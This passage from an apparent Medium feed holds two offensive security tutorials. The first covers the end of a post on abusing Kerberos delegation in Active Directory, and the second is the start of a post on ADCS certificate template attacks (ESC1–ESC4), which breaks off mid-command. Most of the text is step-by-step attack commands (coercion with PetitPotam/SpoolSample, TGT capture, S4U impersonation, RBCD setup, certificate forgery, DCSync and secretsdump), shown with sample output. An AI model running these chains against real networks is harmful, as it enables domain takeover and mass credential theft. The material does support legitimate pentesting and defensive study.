service ticket. The service then caches that TGT in memory. An attacker who compromises that service account or the machine it runs on can extract every cached TGT and reuse them.</p><p>Unconstrained delegation is configured at the computer object level in AD. The flag that enables it is TrustedForDelegation in the userAccountControl attribute. By default, every Domain Controller in the domain has this flag set which is part of why coercing DC authentication toward an unconstrained delegation target is so powerful.</p><h4>Finding Unconstrained Delegation Hosts</h4><p>Before you can exploit it, you need to know which machines are configured this way. There are a few ways to enumerate:</p><pre># PowerView: find computers with unconstrained delegation<br>Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation,DNSHostName<br><br># Also works with PowerView<br>Get-DomainComputer -Unconstrained -Properties DNSHostName,TrustedForDelegation<br><br># Impacket from Linux<br>impacket-findDelegation corp.local/jsmith:&#39;Password123!&#39; -dc-ip 10.10.10.10</pre><p>Bloodhound can also be used to achieve this. It marks machines with unconstrained delegation and shows you attack paths toward them. Look for the Unconstrained property on computer nodes.</p><h4>The Coercion + TGT Capture Chain</h4><p>Just sitting on an unconstrained delegation machine and waiting for a domain admin to authenticate is not realistic on a pentest. The practical approach is <strong>authentication coercion: </strong>forcing a target machine (ideally a Domain Controller) to authenticate to your compromised unconstrained delegation host, which causes the DC’s TGT to land in your machine’s memory.</p><p>There are multiple coercion techniques. The classic one is <strong>SpoolSample</strong> (also called PrinterBug), which abuses the MS-RPRN Print Spooler RPC interface to force a machine to authenticate back to an attacker-controlled host. The newer one is <strong>PetitPotam</strong>, which abuses the MS-EFSRPC interface and has the advantage of not requiring the Print Spooler service to be running. In modern environments this often means swapping the classic PrinterBug flow for PetitPotam, DFSCoerce, ShadowCoerce, or WebDAV-based coercion depending on which RPC surface is reachable.</p><p><strong>The full attack chain</strong></p><p>From Windows :</p><pre>#Step 1: On the compromised unconstrained delegation machine, start Rubeus in monitor mode, it will watch memory for incoming TGTs<br><br>Rubeus.exe monitor /interval:5 /targetuser:DC01$ /nowrap<br><br>#Step 2: From anywhere, coerce the DC to authenticate to our machine using SpoolSample (requires Print Spooler on the DC)<br>SpoolSample.exe dc01.corp.local unconstrained-host.corp.local<br><br>#Or using PetitPotam (no Print Spooler needed)<br>PetitPotam.exe unconstrained-host.corp.local dc01.corp.local<br><br><br><br>#Rubeus output after successful coercion:<br>[*] 4/22 12:14:11 - Found new TGT:<br>   User                  :  DC01$@CORP.LOCAL<br>   StartTime             :  4/22/2025 10:00:00<br>   EndTime               :  4/22/2025 20:00:00<br>   RenewTill             :  4/29/2025 10:00:00<br>   Flags                 :  name_canonicalize, pre_authent, renewable, forwarded, forwardable<br>   Base64EncodedTicket   :  doIFpDCCBaC...<br><br>#Step 3: Inject the captured DC TGT into your current session<br>Rubeus.exe ptt /ticket:doIFpDCCBaC...<br><br>#Step 4: DCSync - dump all credentials using the DC&#39;s account using mimikatz<br>mimikatz # lsadump::dcsync /domain:corp.local /all /csv</pre><p>From linux</p><pre># Coerce using PetitPotam<br>python3 PetitPotam.py \<br>  -u &#39;jsmith&#39; \<br>  -p &#39;Password123!&#39; \<br>  unconstrained-host-ip \<br>  dc01.corp.local<br><br># Monitor for the incoming TGT on the compromised host using krbrelayx<br>python3 krbrelayx.py -aesKey &lt;aes_key_of_unconstrained_account&gt;</pre><p>Once you have the ticket:</p><pre># Convert base64 ticket to .ccache<br>echo &quot;doIFpDCCBaC...&quot; | base64 -d &gt; dc01.kirbi<br>python3 ticketConverter.py dc01.kirbi dc01.ccache<br><br># Export and use<br>export KRB5CCNAME=dc01.ccache<br>impacket-secretsdump -k -no-pass corp.local/&#39;DC01$&#39;@dc01.corp.local</pre><p>Due to the unconstrained delegation, the TGT of the computer account DC$ is saved in the memory of the computer with unconstrained delegation. By default the domain controller computer account has DCSync rights over the domain object. So once you have the DC’s TGT, DCSync is the natural next step, dump every NTLM hash and Kerberos key in the domain.</p><p>If the victim account is marked as “Account is sensitive and cannot be delegated” or is a member of the Protected Users group, the forwarded TGT will not be included in the service ticket, so this chain won’t yield a reusable TGT. The native Administrator account (RID 500) is an exception to this, it doesn’t benefit from Protected Users restrictions.</p><h3>Constrained Delegation</h3><p>Constrained Delegation was Microsoft’s answer to the obvious problem with unconstrained delegation. Introduced in Windows Server 2003, it added the ability to limit <em>which</em> services a front-end service account is allowed to delegate to. Instead of handing over the user’s full TGT, it uses a Kerberos extension called <strong>S4U</strong> (Service For User) to generate a forwardable service ticket only for the explicitly listed backend services.</p><p>The configuration lives in a single AD attribute: msDS-AllowedToDelegateTo. It contains a list of service principal names (SPNs) that the front-end service is trusted to impersonate users toward. If the account for the IIS web app has MSSQLSvc/dbserver.corp.local:1433 in that attribute, it can impersonate users to that SQL instance, and nothing else. In theory.</p><p>Constrained delegation takes a more controlled approach. Instead of handing over the user’s TGT, the frontend service is trusted to impersonate users only to specific backend services by using a forwardable Service Ticket.</p><p>The attack surface here is different from unconstrained delegation. You don’t need to capture a TGT from memory. What you need is to compromise the account that has constrained delegation configured. Once you have control of that account, you can use the S4U extensions to request a service ticket impersonating <em>any user, </em>including Domain Admins, to the services listed in msDS-AllowedToDelegateTo.</p><p>There are two flavors of constrained delegation that matter for attacks:</p><p><strong>Kerberos-only (S4U2Proxy only)</strong> — the service can only delegate on behalf of users who have already authenticated to it via Kerberos. Slightly more limited.</p><p><strong>Protocol Transition (S4U2Self + S4U2Proxy)</strong> — this is the dangerous one. The TrustedToAuthForDelegation flag is set in userAccountControl, meaning the service can use S4U2Self to generate a service ticket for <em>any user</em> — even users who never authenticated via Kerberos at all — and then forward it via S4U2Proxy to the backend services. This means compromising this account type lets you impersonate literally anyone to those services, with no prior interaction from the target user needed.</p><h4>Finding Constrained Delegation Accounts</h4><pre># Find accounts with constrained delegation configured<br>Get-ADObject -Filter {msDS-AllowedToDelegateTo -like &quot;*&quot;} `<br>  -Properties msDS-AllowedToDelegateTo,SAMAccountName,userAccountControl<br><br># PowerView<br>Get-DomainUser -TrustedToAuth<br>Get-DomainComputer -TrustedToAuth<br><br># Impacket<br>impacket-findDelegation corp.local/jsmith:&#39;Password123!&#39; -dc-ip 10.10.10.10<br># Look for: Account Type = &quot;Constrained w/ Protocol Transition&quot;</pre><h4>Exploiting Constrained Delegation</h4><p>Once you have the credentials or hash of an account with constrained delegation configured, the attack is performed entirely through the S4U Kerberos extensions:</p><pre>#You&#39;ve compromised websvc$ which has constrained delegation to MSSQLSvc/dbserver.corp.local<br>#Get the NTLM hash of websvc$ first if you don&#39;t have it<br>#Rubeus.exe hash /password:ServicePass123! /user:websvc$ /domain:corp.local<br><br>#Perform S4U2Self + S4U2Proxy to impersonate the domain admin to the allowed service<br>Rubeus.exe s4u \<br>  /user:websvc$ \<br>  /rc4:&lt;NTLM_HASH_OF_WEBSVC&gt; \<br>  /impersonateuser:administrator \<br>  /msdsspn:MSSQLSvc/dbserver.corp.local:1433 \<br>  /domain:corp.local \<br>  /ptt<br><br>#The ticket is now in your session. Connect to the SQL server as administrator</pre><p>There is a well-known bypass here: the service name embedded in the ticket is not protected by the KDC signature in older implementations, meaning you can substitute a different service name than the one in msDS-AllowedToDelegateTo and the DC won&#39;t catch it. The service name can be swapped for any other service of your choice, the go-to services for getting shell access are HTTP (WinRM/PSRemoting) and HOST (PsExec). This is accomplished with the /altservice flag in Rubeus.</p><pre>#Constrained delegation is configured for MSSQLSvc, but we want a shell<br><br>#Swap the service name to HOST for PsExec or HTTP for WinRM<br><br>Rubeus.exe s4u \<br>  /user:websvc$ \<br>  /rc4:&lt;NTLM_HASH&gt; \<br>  /impersonateuser:administrator \<br>  /msdsspn:MSSQLSvc/dbserver.corp.local \<br>  /altservice:HOST/dbserver.corp.local \<br>  /domain:corp.local \<br>  /ptt<br><br>#Now PSExec in as administrator<br>PsExec.exe \\dbserver.corp.local cmd.exe</pre><p>From Linux with Impacket:</p><pre># getST performs the full S4U chain and saves the ticket<br>impacket-getST \<br>  -spn &#39;MSSQLSvc/dbserver.corp.local:1433&#39; \<br>  -impersonate &#39;administrator&#39; \<br>  -dc-ip 10.10.10.10 \<br>  &#39;corp.local/websvc$:ServicePass123!&#39;<br><br># Use the ticket<br>export KRB5CCNAME=administrator@MSSQLSvc_dbserver.corp.local@CORP.LOCAL.ccache<br>impacket-mssqlclient -k -no-pass dbserver.corp.local</pre><p>The key thing to understand is that you don’t need the user you’re impersonating to be online, to have authenticated to anything, or to do anything at all. The S4U extensions let your compromised service account <em>conjure</em> a ticket for any user, unilaterally.</p><h3>Resource-Based Constrained Delegation (RBCD)</h3><p>RBCD was introduced in Windows Server 2012 and represents a fundamental design shift. In classical constrained delegation, the <strong>front-end service</strong> specifies where it is allowed to delegate, the msDS-AllowedToDelegateTo attribute lives on the delegating account. This required domain admin involvement to configure, because modifying service account attributes is a privileged operation.</p><p>RBCD flips the model. Now it’s the back-end resource that specifies which accounts are allowed to delegate to it. The attribute msDS-AllowedToActOnBehalfOfOtherIdentity lives on the <em>target</em> computer object, and it contains a security descriptor listing which principals are trusted to impersonate users toward it. This architectural shift introduced in Windows Server 2012 is what makes RBCD both powerful for legitimate use and dangerous in the hands of an attacker.</p><p>The reason this creates an attack surface is that modifying msDS-AllowedToActOnBehalfOfOtherIdentity on a computer object is a write operation on that computer object in Active Directory. And write access on computer objects, through permissions like GenericWrite, GenericAll, WriteDACL, or WritePropertyis far more commonly granted to non-admin accounts than people realize. When you have write access to a computer object, you can edit its RBCD attribute and point it at an account you control. Another important difference from Constrained Delegation is that any user with write permissions over a machine account e.g GenericAll, GenericWrite, WriteDACL, WriteProperty, can set the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. In Constrained Delegation you needed domain admin privileges.</p><h4>The Prerequisites</h4><p>For the RBCD attack to work, you need two things:</p><p><strong>1. Write access to the target computer object.</strong> This is the ACL misconfiguration that enables everything. Common scenarios where this shows up: helpdesk accounts granted GenericWrite on workstation objects to manage them, service accounts with excessive permissions scoped to an OU, or leftover access from a decommissioned system. BloodHound will surface these, look for GenericWrite or WriteProperty edges pointing at computer objects from non-admin principals.</p><p><strong>2. An account with an SPN.</strong> The S4U2Self step in the Kerberos extension chain requires the requesting account to have a Service Principal Name. Normal user accounts don’t have SPNs. But here’s where ms-DS-MachineAccountQuota comes in, by default it&#39;s set to 10, meaning any authenticated domain user can create up to 10 machine accounts in the domain. Machine accounts automatically get an SPN (HOST/machinename). So if you don&#39;t already control an account with an SPN, you create a fake machine account to use as your delegation vehicle.</p><p>In order for this method to work the attacker must also control an account with an SPN, as S4U2Self will fail if the requesting service doesn’t have one. Normal user accounts don’t have an SPN, but if the domain’s ms-DS-MachineAccountQuota attribute is not 0 (it’s 10 by default) any user can add a machine account to the domain, which will satisfy the SPN requirement.</p><h4>The Full Attack Chain</h4><p>Let’s say you’ve compromised jsmith@corp.local and discovered via BloodHound that this account has GenericWrite over FILESERVER01$. Here&#39;s the complete exploitation path:</p><p><strong>Step 1: Check MachineAccountQuota</strong></p><p><strong>From Windows</strong></p><pre>#Confirm you can create machine accounts<br>Get-ADObject -Identity &quot;DC=corp,DC=local&quot; -Properties ms-DS-MachineAccountQuota |<br>  Select-Object ms-DS-MachineAccountQuota<br># Should be &gt; 0 (default is 10)</pre><p><strong>From linux</strong></p><pre>nxc ldap 10.10.10.10 -u jsmith -p Password123! -M maq</pre><p><strong>Step 2: Create a fake machine account</strong></p><pre># Impacket: add a computer account with a known password<br>impacket-addcomputer \<br>  -computer-name &#39;FAKEMACHINE01$&#39; \<br>  -computer-pass &#39;FakePass123!&#39; \<br>  -dc-ip 10.10.10.10 \<br>  &#39;corp.local/jsmith:Password123!&#39;<br><br># Verify it was created<br>impacket-findDelegation corp.local/jsmith:&#39;Password123!&#39; -dc-ip 10.10.10.10</pre><p><strong>Step 3: Configure RBCD on the target</strong></p><p>Now write FAKEMACHINE01$ into the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of FILESERVER01$. You can do this because jsmith has GenericWrite on that computer object:</p><pre># Impacket&#39;s rbcd module<br>impacket-rbcd \<br>  -delegate-from &#39;FAKEMACHINE01$&#39; \<br>  -delegate-to &#39;FILESERVER01$&#39; \<br>  -action write \<br>  -dc-ip 10.10.10.10 \<br>  &#39;corp.local/jsmith:Password123!&#39;<br><br># Verify it was written<br>impacket-rbcd \<br>  -delegate-to &#39;FILESERVER01$&#39; \<br>  -action read \<br>  -dc-ip 10.10.10.10 \<br>  &#39;corp.local/jsmith:Password123!&#39;</pre><p>Or from Windows with PowerView/PowerShell:</p><pre># Get the SID of FAKEMACHINE01$<br>$fakeSID = Get-ADComputer FAKEMACHINE01 | Select-Object -ExpandProperty SID<br><br># Build the security descriptor<br>$SD = New-Object Security.AccessControl.RawSecurityDescriptor `<br>  -ArgumentList &quot;O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$fakeSID)&quot;<br>$SDBytes = New-Object byte[] ($SD.BinaryLength)<br>$SD.GetBinaryForm($SDBytes, 0)<br><br># Write it to the target computer object<br>Get-ADComputer FILESERVER01 | Set-ADComputer `<br>  -Replace @{&#39;msDS-AllowedToActOnBehalfOfOtherIdentity&#39; = $SDBytes}</pre><p><strong>Step 4: Get the NTLM hash of your fake machine account</strong></p><pre>#From Windows<br>Rubeus.exe hash /password:FakePass123! /user:FAKEMACHINE01$ /domain:corp.local<br>#Output: rc4_hmac: A1B2C3D4E5F6...</pre><p><strong>Step 5: Perform the S4U2Self + S4U2Proxy chain</strong></p><p>This is where the Kerberos magic happens. FAKEMACHINE01$ uses S4U2Self to forge a service ticket claiming administrator authenticated to it, then S4U2Proxy to forward that ticket toward FILESERVER01$. The result is a valid Kerberos service ticket for the cifs service on FILESERVER01$, issued in the name of the domain administrator.</p><pre>#Windows — Rubeus full S4U chain<br>Rubeus.exe s4u \<br>  /user:FAKEMACHINE01$ \<br>  /rc4:A1B2C3D4E5F6 \<br>  /impersonateuser:administrator \<br>  /msdsspn:cifs/FILESERVER01.corp.local \<br>  /domain:corp.local \<br>  /ptt<br><br>#Verify you have the ticket<br>klist<br><br>#Access the target as administrator<br>dir \\FILESERVER01.corp.local\C$</pre><p>From Linux with Impacket:</p><pre># getST handles the full S4U chain in one command<br>impacket-getST \<br>  -spn &#39;cifs/FILESERVER01.corp.local&#39; \<br>  -impersonate &#39;administrator&#39; \<br>  -dc-ip 10.10.10.10 \<br>  &#39;corp.local/FAKEMACHINE01$:FakePass123!&#39;<br><br># Ticket saved as administrator@cifs_FILESERVER01.corp.local@CORP.LOCAL.ccache<br>export KRB5CCNAME=&#39;administrator@cifs_FILESERVER01.corp.local@CORP.LOCAL.ccache&#39;<br><br># Now you&#39;re administrator on FILESERVER01<br>impacket-psexec -k -no-pass FILESERVER01.corp.local</pre><p>If you’re targeting a Domain Controller rather than a workstation, the same chain applies and with the DC’s cifs and ldap service tickets you can DCSync directly:</p><pre># Target the DC instead<br>impacket-getST \<br>  -spn &#39;cifs/dc01.corp.local&#39; \<br>  -impersonate &#39;administrator&#39; \<br>  -dc-ip 10.10.10.10 \<br>  &#39;corp.local/FAKEMACHINE01$:FakePass123!&#39;<br><br>#export the ticket<br>export KRB5CCNAME=&#39;administrator@cifs_dc01.corp.local@CORP.LOCAL.ccache&#39;<br><br># DCSync<br>impacket-secretsdump -k -no-pass dc01.corp.local</pre><h4>What S4U2Self and S4U2Proxy Actually Do</h4><p><strong>S4U2Self</strong> is a TGS subprotocol that allows a service to request a service ticket <em>for itself</em>, on behalf of an arbitrary user, without that user being present or having authenticated to anything. The service sends a TGS-REQ to the DC saying “give me a ticket representing user X as having authenticated to my service”. The DC checks whether the requesting service account has the TrustedToAuthForDelegation flag set (for classical constrained delegation) or, in the case of RBCD, whether RBCD is configured at all and if the conditions are met, it issues the ticket.</p><p><strong>S4U2Proxy</strong> takes an existing service ticket (obtained from S4U2Self or from a real user authentication) and uses it to request a new ticket to a <em>different</em> service, the backend target. The DC checks the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the target to confirm the requesting service is allowed to delegate there. If it is, it issues the final ticket.</p><p>S4U2Self is a TGS-REQ subprotocol used for protocol transition. It was designed to address scenarios where the end user does not authenticate to an application using Kerberos, but the application still needs to obtain Kerberos tickets that represent the user’s identity. The fact that this protocol transition mechanism exists and that RBCD is controlled by a writable AD attribute is what makes the attack possible.</p><h4>RBCD Without Creating a Machine Account</h4><p>If ms-DS-MachineAccountQuota is set to 0 and you can&#39;t create new machine accounts, you&#39;re not necessarily stuck. If you already control any existing account that has an SPN, a service account, an existing computer account, you can use that instead of creating a new one. The machine account creation is just the most common path because the default quota allows it.</p><p>You can also check if the compromised account itself has a userPrincipalName that can be leveraged via User-to-User (U2U) Kerberos, though this path is more involved.</p><h3>Summary</h3><p>Unconstrained, constrained, and resource-based constrained delegation represent three generations of Microsoft trying to solve the same legitimate problem, with each generation inheriting a different category of security risk.</p><p>Unconstrained delegation is blunt. It caches full TGTs in memory and hands total impersonation power to whoever compromises the machine.</p><p>Constrained delegation is more surgical but shifts the risk to the service account itself. Compromise that account and you get S4U-based impersonation of anyone to specific services.</p><p>RBCD is the most architecturally sound of the three, but it introduced a new problem: delegation is now controlled by a writable attribute on an ordinary AD object, and write access to computer objects is common.</p><p>The through-line across all three is that delegation is invisible to most organizations. It runs silently in the background, the misconfigurations were often introduced years ago during initial deployment, and nobody thinks to audit it. BloodHound and findDelegation will surface everything covered in this post in minutes. Run them in your environment.</p><p><strong>References</strong></p><ul><li>SpecterOps BloodHound — AbuseTGTDelegation: <a href="https://bloodhound.specterops.io/resources/edges/abuse-tgt-delegation">https://bloodhound.specterops.io/resources/edges/abuse-tgt-delegation</a></li><li>HackTricks — Unconstrained Delegation: <a href="https://hacktricks.wiki/en/windows-hardening/active-directory-methodology/unconstrained-delegation.html">https://hacktricks.wiki/en/windows-hardening/active-directory-methodology/unconstrained-delegation.html</a></li><li>HackTricks — Resource-Based Constrained Delegation: <a href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation">https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation</a></li><li>The Hacker Recipes — Unconstrained Delegation: <a href="https://www.thehacker.recipes/ad/movement/kerberos/delegations/unconstrained">https://www.thehacker.recipes/ad/movement/kerberos/delegations/unconstrained</a></li><li>GuidePoint Security — Delegating Like a Boss: <a href="https://www.guidepointsecurity.com/blog/delegating-like-a-boss-abusing-kerberos-delegation-in-active-directory/">https://www.guidepointsecurity.com/blog/delegating-like-a-boss-abusing-kerberos-delegation-in-active-directory/</a></li><li>Impacket — findDelegation, getST, rbcd: <a href="https://github.com/fortra/impacket">https://github.com/fortra/impacket</a></li><li>Rubeus by GhostPack: <a href="https://github.com/GhostPack/Rubeus">https://github.com/GhostPack/Rubeus</a></li><li>Exploiting Unconstrained Delegation — Riccardo Ancarani: <a href="https://medium.com/@riccardo.ancarani94/exploiting-unconstrained-delegation-a81eabbd6976">https://medium.com/@riccardo.ancarani94/exploiting-unconstrained-delegation-a81eabbd6976</a></li><li>Silverfort — Kerberos Delegation CVE-2025–60704 Research: <a href="https://www.silverfort.com/blog/you-win-some-you-checksum-kerberos-delegation-vulnerability-cve-2025-60704/">https://www.silverfort.com/blog/you-win-some-you-checksum-kerberos-delegation-vulnerability-cve-2025-60704/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=46f1c1d44d06" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Attacking Active Directory Certificate Services: A Complete Guide to ESC Misconfigurations]]></title>
            <link>https://medium.com/@3xploit/attacking-active-directory-certificate-services-a-complete-guide-to-esc-misconfigurations-4b1ecb75c54b?source=rss-cfc74b8f6883------2</link>
            <guid isPermaLink="false">https://medium.com/p/4b1ecb75c54b</guid>
            <dc:creator><![CDATA[Victor Abiodun ]]></dc:creator>
            <pubDate>Tue, 19 May 2026 10:00:34 GMT</pubDate>
            <atom:updated>2026-05-19T10:00:34.016Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cflHs0JakN9DpIjUICV8qA.png" /></figure><p>Active Directory Certificate Services is one of the most abused components in modern Windows environments, and for good reason. The attack surface is wide, the misconfigurations are common, and the impact goes straight to Domain Admin. As of 2025, recent research has even shown how these on-premises misconfigurations can lead to a full compromise of cloud-based infrastructure in hybrid implementations.</p><p>This article goes through multiple ESC attack classes: what they are, why they work, and exactly how you exploit them. We’ll use <strong>Certipy</strong> (by Oliver Lyak).</p><h3>Understanding the Basics First</h3><p>Before getting into individual attacks, you need a clear picture of how ADCS works, because every ESC vulnerability is rooted in something specific going wrong with the design.</p><p>ADCS is Microsoft’s built-in PKI solution. It runs as a <strong>Certificate Authority (CA): </strong>a server that signs and issues digital certificates. In most enterprise environments there’s an Enterprise CA that’s online and actively issuing certs for things like user authentication, computer authentication, HTTPS services, and code signing.</p><p>Everything the CA issues is governed by <strong>certificate templates</strong>. A template is an Active Directory object that defines the rules for a particular type of certificate: who can request it, what it can be used for, how long it’s valid, and whether the person requesting it gets to specify their own identity inside the certificate. These templates have names like User, Computer, WebServer, DomainController.</p><p>The field that controls what a certificate can be used for is called <strong>Extended Key Usage (EKU)</strong>. One EKU, in particular, Client Authentication (OID 1.3.6.1.5.5.7.3.2) is what makes a certificate usable for logging into Active Directory. When a Domain Controller receives a certificate for authentication, it validates the chain, maps the certificate to an AD account based on the identity fields inside the cert, and issues a Kerberos TGT for that account.</p><p>That mapping: certificate identity → AD account → TGT is the core of every ADCS attack. If you can control what identity goes into a certificate, and that certificate carries a Client Authentication EKU, you can impersonate any user in the domain.</p><h3>Certipy</h3><p>Certipy is a Python-based offensive and defensive toolkit for enumerating and abusing Active Directory Certificate Services. It supports detection and exploitation of ADCS vulnerabilities across the full range of ESC1 through ESC16. It’s the primary tool used throughout this post.</p><p>Start every ADCS assessment with an enumeration sweep. The -vulnerable flag cuts through the noise and only shows you what&#39;s actually exploitable:</p><pre># Enumerate all ADCS objects in the domain<br>certipy find -u &#39;jsmith@corp.local&#39; -p &#39;Password123!&#39; -dc-ip 10.10.10.10<br><br># Only output vulnerable templates and CAs<br>certipy find -u &#39;jsmith@corp.local&#39; -p &#39;Password123!&#39; -dc-ip 10.10.10.10 -vulnerable -stdout<br><br># Using a hash instead of a password<br>certipy find -u &#39;jsmith@corp.local&#39; -hashes &#39;:8846f7eaee8fb117ad06bdd830b7586c&#39; -dc-ip 10.10.10.10 -vulnerable</pre><p>Certipy also outputs BloodHound-compatible data, which lets you visualize certificate-based attack paths alongside traditional AD privilege escalation paths. It’s worth running both.</p><h3>ESC1 - Enrollee Supplies Subject in an Authentication Template</h3><p>Every certificate has a Subject field that identifies who it belongs to. The SAN is an extension that lets a certificate be valid for multiple identities. It was originally designed so a single HTTPS certificate could cover www.corp.com and mail.corp.com at the same time. In Active Directory authentication, the SAN can contain a User Principal Name (UPN), and when a Domain Controller maps a certificate to an AD account, it looks at the UPN in the SAN to figure out whose TGT to issue.</p><p>The flag CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, which shows up in the GUI as &quot;Supply in request&quot;, tells the CA to let the person requesting the certificate specify their own SAN. The intended use case is legitimate: web server admins need to put their own domain names in certificates. The problem is when this flag is enabled on a template that also has a Client Authentication EKU and grants enrollment rights to low-privileged users.</p><p>When all three of those conditions are true, any authenticated domain user can request a certificate, write administrator@corp.local into the SAN themselves, and the CA will sign it without question. The Domain Controller then sees a valid certificate, issued by a trusted CA, claiming to belong to the domain administrator and hands over a TGT accordingly.</p><p>The misconfiguration isn’t in one place. It’s the combination: open enrollment rights, no manager approval, and the user controlling what identity goes into the cert. Remove any one of those three and the attack doesn’t work.</p><pre># Step 1: Request a certificate as the domain administrator<br>certipy req \<br>  -u &#39;jsmith@corp.local&#39; \<br>  -p &#39;Password123!&#39; \<br>  -dc-ip 10.10.10.10 \<br>  -target 10.10.10.20 \<br>  -ca &#39;CORP-CA&#39; \<br>  -template &#39;VulnerableTemplate&#39; \<br>  -upn &#39;administrator@corp.local&#39;<br><br># Output: Saved certificate and private key to &#39;administrator.pfx&#39;<br><br># Step 2: Authenticate with the certificate — this gives you a TGT and NTLM hash<br>certipy auth \<br>  -pfx &#39;administrator.pfx&#39; \<br>  -username &#39;administrator&#39; \<br>  -domain &#39;corp.local&#39; \<br>  -dc-ip 10.10.10.10<br><br># Output:<br># [+] Got TGT<br># [+] NT hash for &#39;administrator&#39;: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0<br><br># Step 3: Use the hash to perform a PTH(PassTheHash) attack<br>impacket-secretsdump &#39;corp.local/administrator@10.10.10.10&#39; \<br>  -hashes &#39;:31d6cfe0d16ae931b73c59d7e0c089c0&#39;</pre><p>One thing worth emphasizing: the certificate obtained will be valid for the DA account until the validity period ends, unless explicitly revoked. Certificate templates commonly have validity periods of one to ten years, meaning this is not just privilege escalation but also long-term persistence that survives password resets.</p><p>What certipy flags for ESC1:</p><pre>[!] Vulnerabilities<br>  ESC1    : &#39;CORP.LOCAL\\Domain Users&#39; can enroll, enrollee supplies subject,<br>            template allows client authentication</pre><h3>ESC2 - Any Purpose EKU or No EKU at All</h3><p>ESC2 stems from a different kind of template misconfiguration. Normally, a certificate template’s EKU list is specific. It says “this cert is for Client Authentication” or “this cert is for Code Signing.” The <strong>Any Purpose EKU</strong> (2.5.29.37.0) throws that specificity away and says the certificate can be used for literally everything. A template with no EKU at all is equally dangerous, it effectively acts as a subordinate CA certificate, which can itself sign other certificates.</p><p>On a fully patched domain controller with strong certificate mapping enforcement, an Any Purpose certificate on its own will not bypass strong certificate mapping but in practice, the combination of Any Purpose EKU with other conditions (like ESC6 or an unpatched DC) still results in a viable attack path. The exploitation flow is similar to ESC1</p><pre># Request a certificate from a template with Any Purpose EKU<br>certipy req \<br>  -u &#39;jsmith@corp.local&#39; \<br>  -p &#39;Password123!&#39; \<br>  -dc-ip 10.10.10.10 \<br>  -ca &#39;CORP-CA&#39; \<br>  -template &#39;AnyPurposeTemplate&#39;<br><br># Authenticate with it<br>certipy auth -pfx &#39;jsmith.pfx&#39; -dc-ip 10.10.10.10</pre><p>On Windows, you can also use Certify and Rubeus:</p><pre>Certify.exe request /ca:dc01.corp.local\CORP-CA /template:AnyPurposeTemplate<br><br>Rubeus.exe asktgt /user:jsmith /certificate:cert.pfx /password:mimikatz /ptt</pre><h3>ESC3 - Enrollment Agent Abuse</h3><p>ESC3 is different from — ESC1 and ESC2 in an important way: it doesn’t abuse a single misconfigured template. It chains together two separate templates to achieve something neither one could accomplish alone.</p><p>The foundation of ESC3 is a legitimate ADCS feature called the <strong>Enrollment Agent</strong>. In an enterprise environment, it’s sometimes necessary for one user to request certificates <em>on behalf of</em> another, for example, an IT admin issuing smart card certificates for users who can’t do it themselves. To authorize this, ADCS uses the <strong>Certificate Request Agent EKU</strong> (OID 1.3.6.1.4.1.311.20.2.1). A user who holds a certificate with this EKU is permitted to request certificates for other accounts.</p><p>The misconfiguration happens when two conditions exist simultaneously. First, there’s a template that grants the Certificate Request Agent EKU to low-privileged users, meaning anyone can obtain an enrollment agent certificate. Second, there’s a separate authentication template that doesn’t properly restrict which enrollment agents are allowed to use it, effectively letting the agent request on behalf of anyone, including domain administrators.</p><p>ESC3 relies on a two-step scenario, exploiting two separate certificate templates configured in a complementary manner. The first step obtains the role of Certificate Request Agent. The second uses it to generate a certificate in the name of a third-party user</p><pre># Step 1: Get yourself an Enrollment Agent certificate<br>certipy req \<br>  -u &#39;jsmith@corp.local&#39; \<br>  -p &#39;Password123!&#39; \<br>  -target 10.10.10.20 \<br>  -ca &#39;CORP-CA&#39; \<br>  -template &#39;ESC3-CRA&#39;       # The template granting Certificate Request Agent EKU<br><br># Verify the cert has the right EKU (OID 1.3.6.1.4.1.311.20.2.1)<br>certipy cert -pfx &#39;jsmith.pfx&#39; -nokey | grep -A5 &#39;Extended Key&#39;<br><br># Step 2: Use the enrollment agent cert to request a cert ON BEHALF OF the administrator<br>certipy req \<br>  -u &#39;jsmith@corp.local&#39; \<br>  -p &#39;Password123!&#39; \<br>  -target 10.10.10.20 \<br>  -ca &#39;CORP-CA&#39; \<br>  -template &#39;User&#39; \<br>  -on-behalf-of &#39;corp\administrator&#39; \<br>  -pfx &#39;jsmith.pfx&#39;           # Your enrollment agent cert from step 1<br><br># Step 3: Authenticate<br>certipy auth -pfx &#39;administrator.pfx&#39; -dc-ip 10.10.10.10</pre><p>The -on-behalf-of parameter specifies the impersonated identity, while -pfx provides the agent certificate as proof of authorization. This combination allows the attacker to obtain a perfectly legitimate authentication certificate in the name of an administrator, without any intervention or alert on the infrastructure side</p><h3>ESC4 - Dangerous Write Permissions on Certificate Templates</h3><p>ESC4 is the most flexible of the template-based attacks because it doesn’t require a template to already be misconfigured, it only requires that you have the ability to <em>make</em> a template misconfigured.</p><p>Certificate templates are AD objects, and like all AD objects they have an Access Control List (ACL). The dangerous permissions here are: WriteProperty (modify the template&#39;s attributes), WriteDACL (rewrite the access control list on the template), WriteOwner (take ownership of the template), and FullControl. When any of these are granted to a low-privileged user or group, that user can modify the template&#39;s configuration to introduce the exact conditions needed for ESC1 then exploit it, then restore the original configuration to cover their tracks.</p><p>To exploit this, the attacker typically modifies the certificate template so as to make it vulnerable to ESC1, ESC2, or ESC3, exploits it for privilege escalation, then ideally restores the original configuration.</p><p>What Certipy does under the hood when you run certipy template is overwrite the template with the SubCA template&#39;s configuration which allows user-supplied SANs and has no manager approval while adding an ACE granting enrollment rights to Authenticated Users. This makes the template temporarily ESC1-vulnerable.</p><pre># Step 1: Save the original template config and overwrite it to be ESC1-vulnerable<br>certipy template \<br>  -u &#39;jsmith@corp.local&#39; \<br>  -p 